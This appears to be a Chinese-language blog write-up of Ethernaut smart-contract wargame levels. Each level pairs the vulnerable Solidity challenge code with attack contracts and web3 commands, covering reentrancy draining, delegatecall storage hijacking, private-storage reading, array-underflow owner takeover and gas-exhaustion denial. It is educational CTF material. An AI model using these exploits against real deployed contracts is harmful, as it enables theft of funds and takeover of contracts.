  function balanceOf(address _who) public view returns (uint balance) &#123;
    return balances[_who];
  &#125;

  function withdraw(uint _amount) public &#123;
    if(balances[msg.sender] >= _amount) &#123;
      if(msg.sender.call.value(_amount)()) &#123;
        _amount;
      &#125;
      balances[msg.sender] -= _amount;
    &#125;
  &#125;

  function() public payable &#123;&#125;
&#125;

比较典型的DAO攻击事件的例子了。
本地私有链成功了,但是测试网死活失败的,有点难受。
大概攻击脚本如下。
在测试网里面,一旦调用 hack 函数了,就是账户里面也没有记录,钱也到对面账户里去了,人才两空 23333.

pragma solidity ^0.4.18;

contract Reentrance &#123;

  mapping(address => uint) public balances;

  function donate(address _to) public payable &#123;
    balances[_to] += msg.value;
  &#125;

  function balanceOf(address _who) public view returns (uint balance) &#123;
    return balances[_who];
  &#125;

  function withdraw(uint _amount) public &#123;
    if(balances[msg.sender] >= _amount) &#123;
      if(msg.sender.call.value(_amount)()) &#123;
        _amount;
      &#125;
      balances[msg.sender] -= _amount;
    &#125;
  &#125;

  function() public payable &#123;&#125;
  constructor() payable
  &#123;
      
  &#125;
&#125;

contract Attack &#123;

    address instance_address;
    Reentrance target ;
    uint cnt=2;

    function Attack(address param) payable&#123;
        instance_address = param;
        target = Reentrance(instance_address);
    &#125;

    function donate() public payable &#123;
        target.donate.value(0.5 ether)(this);
    &#125;
    function () public payable &#123;
        while(cnt>0)&#123;
            cnt--;
            target.withdraw(0.5 ether);
        &#125;
        
    &#125;
    function hack() public &#123;
        target.withdraw(0.5 ether);
    &#125;

    function get_balance() public view returns(uint) &#123;
        return target.balanceOf(this);
    &#125;

    function my_eth_bal() public view returns(uint) &#123;
        return address(this).balance;
    &#125;

    function ins_eth_bal() public view returns(uint) &#123;
        return instance_address.balance;
    &#125;
&#125;

Elevator

题目代码如下:

pragma solidity ^0.4.18;

interface Building &#123;
  function isLastFloor(uint) view public returns (bool);
&#125;

contract Elevator &#123;
  bool public top;
  uint public floor;

  function goTo(uint _floor) public &#123;
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) &#123;
      floor = _floor;
      top = building.isLastFloor(floor);
    &#125;
  &#125;
&#125;

伪造一个合约在被调用isLastFloor,第一次返回 false,第二次返回 true 就可以了。
如下:

pragma solidity ^0.4.18;

interface Building &#123;
  function isLastFloor(uint) view public returns (bool);
&#125;

contract Elevator &#123;
  function goTo(uint _floor) public &#123;&#125;
&#125;

contract attack is Building&#123;
      uint cnt=0;
      function isLastFloor(uint) view public returns (bool)&#123;
        if(cnt == 0)&#123;
         cnt++;
         return false;
        &#125;
         else
            return true;
      &#125;
      function go(address param)&#123;
          Elevator a = Elevator(param);
          a.goTo(1);
      &#125;
&#125;

Privacy

题目代码如下:

pragma solidity ^0.4.18;

contract Privacy &#123;

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function Privacy(bytes32[3] _data) public &#123;
    data = _data;
  &#125;
  
  function unlock(bytes16 _key) public &#123;
    require(_key == bytes16(data[2]));
    locked = false;
  &#125;

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
&#125;

要求解锁 locked 就可以了,那很简单,直接利用 web3 的 api,web3.eth.getStorageAt就可以,依次获取

web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 0,function(x,y)&#123;console.info(y);&#125;)
0x000000000000000000000000000000000000000000000000000000d80cff0a01
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 1,function(x,y)&#123;console.info(y);&#125;)
0x47dac1a874d4d1f852075da0347307d6fcfef2a6ca6804ffda7b54e02df5c359
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 2,function(x,y)&#123;console.info(y);&#125;)
0x06080b7822355f604ab68183a2f2a88e2b5be84a34e590605503cf17aec66668
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 3,function(x,y)&#123;console.info(y);&#125;)
0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 4,function(x,y)&#123;console.info(y);&#125;)
0x0000000000000000000000000000000000000000000000000000000000000000
....

根据 solidity 文档中的变量存储原则,evm 每一次处理 32 个字节,而不足 32 字节的变量相互共享并补齐 32 字节。
那么我们简单分析下题目中的变量们:

bool public locked = true;  //1 字节 01
uint256 public constant ID = block.timestamp; //32 字节
uint8 private flattening = 10; //1 字节 0a
uint8 private denomination = 255;//1 字节 ff
uint16 private awkwardness = uint16(now);//2 字节

bytes32[3] private data;

那么第一个 32 字节就是由lockedflatteningdenominationawkwardness组成,另外由于常量是无需存储的,所以从第二个 32 字节起就是 data。
那么 data[2] 就是0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
注意这里进行了强制类型转换将 data[2] 转换成了 bytes16,那么我们取前 16 字节即可。
执行 unlock 即可。

Gatekeeper One (X)

题目代码如下:

pragma solidity ^0.4.18;

contract GatekeeperOne &#123;

  address public entrant;

  modifier gateOne() &#123;
    require(msg.sender != tx.origin);
    _;
  &#125;

  modifier gateTwo() &#123;
    require(msg.gas % 8191 == 0);
    _;
  &#125;

  modifier gateThree(bytes8 _gateKey) &#123;
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  &#125;

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) &#123;
    entrant = tx.origin;
    return true;
  &#125;
&#125;

很绝望,又是一个本地和私有链都能成功,远程就是成功不了。
分析下代码,主要就是通过三个验证:
gateOne:这个通过部署一个中间恶意合约即可绕过
gateTwo:稍微难一点,我觉我远程成功不了的原因就在这里。msg.gas指的是运行到当前指令还剩余的 gas 量,要能整除 8191。那我们只需要81910+x,x 为从开始到运行完msg.gas所消耗的 gas。网上的 wp 通篇一律的都是x=215,但是我javascript VM环境下调出来是x=181。但是两个答案都是错误的。
那我更换一下编译器,测出来如下:

0.4.130.4.17 : x=160
0.4.180.4.21 : x=181
0.4.220.4.25 : x=324

然后把这些都试过了,不出意外的都失败了。最后贴一下代码

pragma solidity ^0.4.17;

contract GatekeeperOne &#123;

  address public entrant;

  modifier gateOne() &#123;
    require(msg.sender != tx.origin);
    _;
  &#125;

  modifier gateTwo() &#123;
    require(msg.gas % 8191 == 0);
    _;
  &#125;

  modifier gateThree(bytes8 _gateKey) &#123;
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  &#125;

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) &#123;
    entrant = tx.origin;
    return true;
  &#125;
&#125;

contract attack&#123;
    GatekeeperOne a;
    bytes8 _gateKey=bytes8(msg.sender) & 0xffffffff0000ffff;
    function attack(address instance) payable&#123;
        a=GatekeeperOne(instance);
    &#125;
    function test()&#123;
        a.call.gas(10000)(bytes4(keccak256("enter(bytes8)")),_gateKey);
    &#125;
    function hack()&#123;
        a.call.gas(81910+324)(bytes4(keccak256("enter(bytes8)")),_gateKey);
    &#125;
&#125;

Gatekeeper Two

题目代码

pragma solidity ^0.4.18;

contract GatekeeperTwo &#123;

  address public entrant;

  modifier gateOne() &#123;
    require(msg.sender != tx.origin);
    _;
  &#125;

  modifier gateTwo() &#123;
    uint x;
    assembly &#123; x := extcodesize(caller) &#125;
    require(x == 0);
    _;
  &#125;

  modifier gateThree(bytes8 _gateKey) &#123;
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  &#125;

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) &#123;
    entrant = tx.origin;
    return true;
  &#125;
&#125;

和上一题类似,gateOne不多说了。
gateTwo的话题干给了提示黄皮书第 7 节:

(4) 的引用为

所以很明确了,初始化的时候合约还没有完全创建,代码大小是为 0,那就意味着我们把攻击的代码写到合约的构造函数里面去就可以了。
至于第三个直接异或就可以了。

pragma solidity ^0.4.18;

contract GatekeeperTwo &#123;

  address public entrant;

  modifier gateOne() &#123;
    require(msg.sender != tx.origin);
    _;
  &#125;

  modifier gateTwo() &#123;
    uint x;
    assembly &#123; x := extcodesize(caller) &#125;
    require(x == 0);
    _;
  &#125;

  modifier gateThree(bytes8 _gateKey) &#123;
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  &#125;

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) &#123;
    entrant = tx.origin;
    return true;
  &#125;
&#125;

contract attack&#123;
    function attack(address param)&#123;
        GatekeeperTwo a = GatekeeperTwo(param);
        bytes8 _gateKey =bytes8((uint64(0) - 1) ^ uint64(keccak256(this)));
        a.enter(_gateKey);
    &#125;
&#125;

Naught Coin

题目代码如下:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

 contract NaughtCoin is StandardToken &#123;

  string public constant name = 'NaughtCoin';
  string public constant symbol = '0x0';
  uint public constant decimals = 18;
  uint public timeLock = now + 10 years;
  uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
  address public player;

  function NaughtCoin(address _player) public &#123;
    player = _player;
    totalSupply_ = INITIAL_SUPPLY;
    balances[player] = INITIAL_SUPPLY;
    Transfer(0x0, player, INITIAL_SUPPLY);
  &#125;
  
  function transfer(address _to, uint256 _value) lockTokens public returns(bool) &#123;
    super.transfer(_to, _value);
  &#125;

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() &#123;
    if (msg.sender == player) &#123;
      require(now > timeLock);
      _;
    &#125; else &#123;
     _;
    &#125;
  &#125; 
&#125; 

题目要求是把账户的所有钱转光。
但是我们简单看一下逻辑,如果我们要转走所有的钱需要 10 年后才行,暂时也没有发现逻辑中有问题的地方。
既然子合约没有什么问题,那我们看看 import 的父合约
StandardToken.sol,其其实根据 ERC20 的标准我们也知道,转账有两个函数,一个transfer一个transferFrom,题目中代码只重写了transfer函数,那未重写transferFrom就是一个可利用的点了。直接看看StandardToken.sol代码:

 contract StandardToken &#123;
    using ERC20Lib for ERC20Lib.TokenStorage;
    ERC20Lib.TokenStorage token;
    ...
    function transfer(address to, uint value) returns (bool ok) &#123;
         return token.transfer(to, value);
       &#125;
    
    function transferFrom(address from, address to, uint value) returns (bool ok) &#123;
         return token.transferFrom(from, to, value);
       &#125;
    ...
&#125;

跟进ERC20Lib.sol

library ERC20Lib &#123;
    ...
    function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) &#123;
        self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
        self.balances[_to] = self.balances[_to].plus(_value);
        Transfer(msg.sender, _to, _value);
        return true;
    &#125;
    
    function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) &#123;
        var _allowance = self.allowed[_from](msg.sender);
    
        self.balances[_to] = self.balances[_to].plus(_value);
        self.balances[_from] = self.balances[_from].minus(_value);
        self.allowed[_from](msg.sender) = _allowance.minus(_value);
        Transfer(_from, _to, _value);
        return true;
    &#125;
    ...
    function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) &#123;
        self.allowed[msg.sender](_spender) = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    &#125;

&#125;

可以直接调用这个transferFrom即可了。但是transferFrom有一步权限验证,要验证这个msg.sender是否被_from(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用 approve 给自己授权。
所以如下操作即可:

await contract.approve(player,1000000*(10*18))
await contract.transferFrom(player,instance,1000000*(10**18));

Preservation (X)

题目代码如下:

pragma solidity ^0.4.23;

contract Preservation &#123;

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public &#123;
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  &#125;
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public &#123;
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  &#125;

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public &#123;
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  &#125;
&#125;

// Simple library contract to set the time
contract LibraryContract &#123;

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public &#123;
    storedTime = _time;
  &#125;
&#125;

这里就是主要利用delegatecall函数的特性,先介绍下:
delegatecall 用来调用其他合约、库的函数,比如 a 合约中调用 b 合约的函数,执行该函数使用的 storage 是 a 的。举个例子:

contract a&#123;
    uint public x1;
    uint public x2;
    
    function funca(address param)&#123;
        param.delegate(bytes4(keccak256("funcb()")));
    &#125;
&#125;
contract b&#123;
    uint public y1;
    uint public y2;
    
    function funcb()&#123;
        y1=1;
        y2=2;
    &#125;
&#125;

上述合约中,一旦在 a 中调用了 b 的funcb函数,那么对应 a 中 x1 就会等于,x2 就会等于 2。

在这个过程中实际 b 合约的funcb函数是把 storage 里面的slot 1的值更换为了 1,把slot 2的值更换为了 2,那么由于 delegatecall 的原因这里修改的是 a 的 storage,对应就是修改了 x1,x2。

所以这个题就很好办了,我们调用PreservationsetFirstTime函数时候实际通过 delegatecall 执行了LibraryContractsetTime函数,修改了slot 1,也就是修改了timeZone1Library变量。
这样,我们第一次调用setFirstTimetimeZone1Library变量修改为我们的恶意合约的地址,第二次调用setFirstTime就可以执行我们的任意代码了。

如下:

pragma solidity ^0.4.23;

contract Preservation &#123;

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public &#123;
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  &#125;
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public &#123;
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  &#125;

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public &#123;
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  &#125;
&#125;

// Simple library contract to set the time
contract LibraryContract &#123;

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public &#123;
    storedTime = _time;
  &#125;
&#125;

contract attack&#123;
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    function setTime(uint _time) public &#123;
        timeZone1Library = address(_time);
        timeZone2Library = address(_time);
        owner=address(_time);
    &#125;
&#125;
    1. 执行contract.setFirstTime(addr),其中addrattack合约的地址
    1. 再执行contract.setFirstTime(player)即可成功修改 owner 为 player。

私有链成功了,但是题目服务器没有成功。

Locked

代码如下

pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked &#123;

    bool public unlocked = false;  // registrar locked, no name updates
    
    struct NameRecord &#123; // map hashes to addresses
        bytes32 name; // 
        address mappedAddress;
    &#125;

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses
    
    function register(bytes32 _name, address _mappedAddress) public &#123;
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

        require(unlocked); // only allow registrations if contract is unlocked
    &#125;
&#125;

这个就是典型的利用 struct 默认是 storage 的题目,具体介绍看上一篇博客即可。
函数中声明的newRecord,修改name 和 mappedAddress实际分别改的是unlockedbytes32 的 name。所以我们把 name 对应的slot 1的值改成 1 就可以了。攻击合约如下:

pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked &#123;

    bool public unlocked = false;  // registrar locked, no name updates
    
    struct NameRecord &#123; // map hashes to addresses
        bytes32 name; // 
        address mappedAddress;
    &#125;

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses
    
    function register(bytes32 _name, address _mappedAddress) public &#123;
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

        require(unlocked); // only allow registrations if contract is unlocked
    &#125;
&#125;
contract attack&#123;
    function go(address param)&#123;
       Locked a = Locked(param);
       a.register(bytes32(1),address(msg.sender));
    &#125;
&#125;

Recovery

代码如下:

pragma solidity ^0.4.23;

contract Recovery &#123;

  //generate tokens
  function generateToken(string _name, uint256 _initialSupply) public &#123;
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  &#125;
&#125;

contract SimpleToken &#123;

  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string _name, address _creator, uint256 _initialSupply) public &#123;
    name = _name;
    balances[_creator] = _initialSupply;
  &#125;

  // collect ether in return for tokens
  function() public payable &#123;
    balances[msg.sender] = msg.value*10;
  &#125;

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public &#123; 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] -= _amount;
    balances[_to] = _amount;
  &#125;

  // clean up after ourselves
  function destroy(address _to) public &#123;
    selfdestruct(_to);
  &#125;
&#125;

题目简单来说就是已知一个Recovery合约地址,恢复一下它创建的SimpleToken合约的地址。

Method 1

这个我们直接看黄皮书第七节就可以了:

关于nonce的说明在第四节

简单来说,我们可以总结如下:

new_addr = address(keccak256(RLP([sender_address,nonce])))

nonce 这里很容易我们可以分析得到是1

nonce=0一般是智能合约自己创造的事件

sender_address就是我们得到的题目的instance的地址,这里我的是0x80e71134fa32b2bb01d6e611e48016aef574be40

根据 RLP 编码的官方文档,我们拿到了编码的 py 脚本如下:

def rlp_encode(input):
    if isinstance(input,str):
        if len(input) == 1 and ord(input) < 0x80: return input
        else: return encode_length(len(input), 0x80) + input
    elif isinstance(input,list):
        output = ''
        for item in input: output += rlp_encode(item)
        return encode_length(len(output), 0xc0) + output

def encode_length(L,offset):
    if L < 56:
         return chr(L + offset)
    elif L < 256**8:
         BL = to_binary(L)
         return chr(len(BL) + offset + 55) + BL
    else:
         raise Exception("input too long")

def to_binary(x):
    if x == 0:
        return ''
    else: 
        return to_binary(int(x / 256)) + chr(x % 256)

所以我们计算如下:

print rlp_encode(["80e71134fa32b2bb01d6e611e48016aef574be40".decode('hex'),"01".decode('hex')]).encode('hex')

'''
$ python /tmp/rlp_encode.py
d69480e71134fa32b2bb01d6e611e48016aef574be4001
'''

拿到结果d69480e71134fa32b2bb01d6e611e48016aef574be4001
然后拿到 solidity 里面计算地址

pragma solidity ^0.4.18;
contract test&#123;
    function func() view returns (address)&#123;
        return address(keccak256(0xd69480e71134fa32b2bb01d6e611e48016aef574be4001));
    &#125;
&#125;

得到结果0xDD48155C966c68cc594a58ce84b67ce9B5CA058E,这就是我们恢复出来的合约的地址,那么我们可以直接利用 remix 的at address功能

然后再调用合约的destroy函数就能把所有的钱转回去,从而解决该题目。

Method 2

当然我们还有更简单的办法:
要知道区块链上所有的信息都是公开的,我们直接上 ropsten 测试网的官方网页查就可以了,搜索 instance 地址0x80e71134fa32b2bb01d6e611e48016aef574be40,成功查到:

MagicNumber

参考链接:https://www.jianshu.com/p/d9137e87c9d3
参考链接:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

这个题就是部署一个合约要求在被调用whatIsTheMeaningOfLife()函数时返回0x42就可以了。
但是有一个要求是不能超过 10 个 opcode。
这个题目中的有些问题我目前还不是特别清楚还需要研究,不过勉强能把这一关给过了。之后会单写篇文章来解释。

合约的 bytecode(字节码) 一般分为三个部分:(摘自参考链接)

// 部署代码,创建合约时运行部署代码,目的是创建合约并把合约代码 copy 过去
60606040523415600e57600080fd5b5b603680601c6000396000f300
// 合约代码,即实际执行逻辑,代码的主要部分,让它返回 0x42 并且不超过 10 个 opcode 就可以了。
60606040525b600080fd00
// Auxdata,源码的加密指纹,用来验证。可选。
a165627a7a723058209747525da0f525f1132dde30c8276ec70c4786d4b08a798eda3c8314bf796cc30029

先构造合约代码,实际上只需要这样子的合约代码就够了:
600a600c600039600a6000f3604260805260206080f3

Alien Codex

pragma solidity ^0.4.24;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract AlienCodex is Ownable &#123;

  bool public contact;
  bytes32[] public codex;

  modifier contacted() &#123;
    assert(contact);
    _;
  &#125;
  
  function (bytes32[] _firstContactMessage) public &#123;
    assert(_firstContactMessage.length > 2**200);
    contact = true;
  &#125;

  function record(bytes32 _content) contacted public &#123;
      codex.push(_content);
  &#125;

  function retract() contacted public &#123;
    codex.length--;
  &#125;

  function revise(uint i, bytes32 _content) contacted public &#123;
    codex[i] = _content;
  &#125;
&#125;

Ownable.sol源码传送门

这里我们首先看到无论调用按个函数都需要过contacted函数修饰器。所以首先就要使contact=true,那么就是要解决make_contact中的这个问题。
直接看 doc

https://solidity.readthedocs.io/en/v0.4.25/abi-spec.html#use-of-dynamic-types

这里描述了动态数组类型的 abi 标准,我们只需要构造长度的值就可以了。详细的构造在后面。

接下来我们需要修改 owner,很容易知道,owner 存储在slot 0里面,和contact在同一个 slot,但是我们先简单看下代码,只知道我们可以操作 codex 的值,codex 作为一个不定长的数组,我们根据 doc

https://solidity.readthedocs.io/en/v0.4.25/miscellaneous.html#layout-of-state-variables-in-storage

可以知道实际上在slot 1位置上存储的是 codex 的 length,而 codex 的实际内容存储在keccak256(bytes32(1))开始的位置。

Keccak-256 紧密打包的,意思是说参数不会补位,多个参数也会直接连接在一起。所以这里要用bytes32(1)而不是1.

这样我们就知道了 codex 实际的存储的 slot,因为总共有2**256个 slot,我们想要修改slot 0,假设 codex 实际所在slot x, 那么当我们修改codex[y](y=2**256-x)时就能因为溢出修改到slot 0,从而修改到 owner。

但是我们要修改codex[y], 那就要满足y<codex.length, 而这个时候我们codex.length的值很小,但是我们通过retract是 length 下溢然后就可以编辑codex[y]了。

所以接下来的操作很简单了。

  • 1.

    func="0x1d3d4c0b"; // 函数 id
    data1="0000000000000000000000000000000000000000000000000000000000000020"// 偏移
    data2="1000000000000000000000000000000000000000000000000000000000000001"// 长度,构造大于 2**200
    data=func+data1+data2
    web3.eth.sendTransaction(&#123;from:player,to:instance,data: data,gas: 1111111&#125;,function(x,y)&#123;console.error(y)&#125;);
    

    从而使contact=true

    1. 计算codex位置为slot 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
      ```javascript
      function go3() view returns(bytes32){
      return keccak256((bytes32(1)));
      }

    ```

    1. 计算 y,y=2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
    1. 调用revise(y,player_addr),这里player_addr记得填充到 32 字节,比如我的地址是0x91c72f7200015195408378e9cb74e6f566dddf44,所以填充到0x00000000000000000000000091c72f7200015195408378e9cb74e6f566dddf44

然后就 ok 了。

Denial

题目代码如下:

pragma solidity ^0.4.24;

contract Denial &#123;

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public &#123;
        partner = _partner;
    &#125;

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public &#123;
        uint amountToSend = address(this).balance/100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    &#125;

    // allow deposit of funds
    function() payable &#123;&#125;

    // convenience function
    function contractBalance() view returns (uint) &#123;
        return address(this).balance;
    &#125;
&#125;

题目要求也比较简单,就是在调用 withdraw 时,禁止 owner 分走账户的 1% 的余额。

刚开始傻了,想的那很简单啊,利用withdraw函数的 reentrancy 问题,100 次就把账户转空了。然后才想起来是余额的 1%。最近脑子不好使。

那这样的话,可以考虑使 transfer 失败,也就是想办法把 gas 耗光。比如在partner合约中设置大量的存储或者一个循环运算。后来想起来一个最简单办法,assert, 这个函数触发异常之后会消耗所有可用的 gas,那么剩下的消息调用(比如owner.transfer(amountToSend)) 就没有 gas 可用了,就会失败了。
所以 attack 代码很简单:

contract attack&#123;
    function() payable&#123;
        assert(0==1);
    &#125;
&#125;

shop

题目代码如下:

pragma solidity 0.4.24;

contract Shop &#123;
  uint public price = 100;
  bool public isSold;
  function buy() public &#123;
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price.gas(3000)() >= price && !isSold) &#123;
      isSold = true;
      price = _buyer.price.gas(3000)();
    &#125;
  &#125;
&#125;

要求是修改 price 低于 100,简单来说可就是_buyer.price.gas(3000)()两次返回不一样的值,比如第一次返回 100,第二次返回 0。似乎很简单,但是这里的难点在于 gas 限定了只有 3000,我们通常会想要使用一个状态变量,比如 a=0,第一次访问返回 100 之后修改为 1,第二次判断一下如果不为 0 就返回 0。但是一旦涉及到状态变量也就是storage的修改,那就不是简单的 3000gas 能够解决的了。这里发现题目有一个变量isSold, 我们可以根据这个的值判断该返回的大小,最后攻击合约如下:

pragma solidity 0.4.24;

contract Buyer &#123;
    function price() view returns (uint) &#123;
        return Shop(msg.sender).isSold()==true?0:100;  
    &#125;
  function go(address param)&#123;
      Shop a = Shop(param);
      a.buy();
  &#125;
&#125;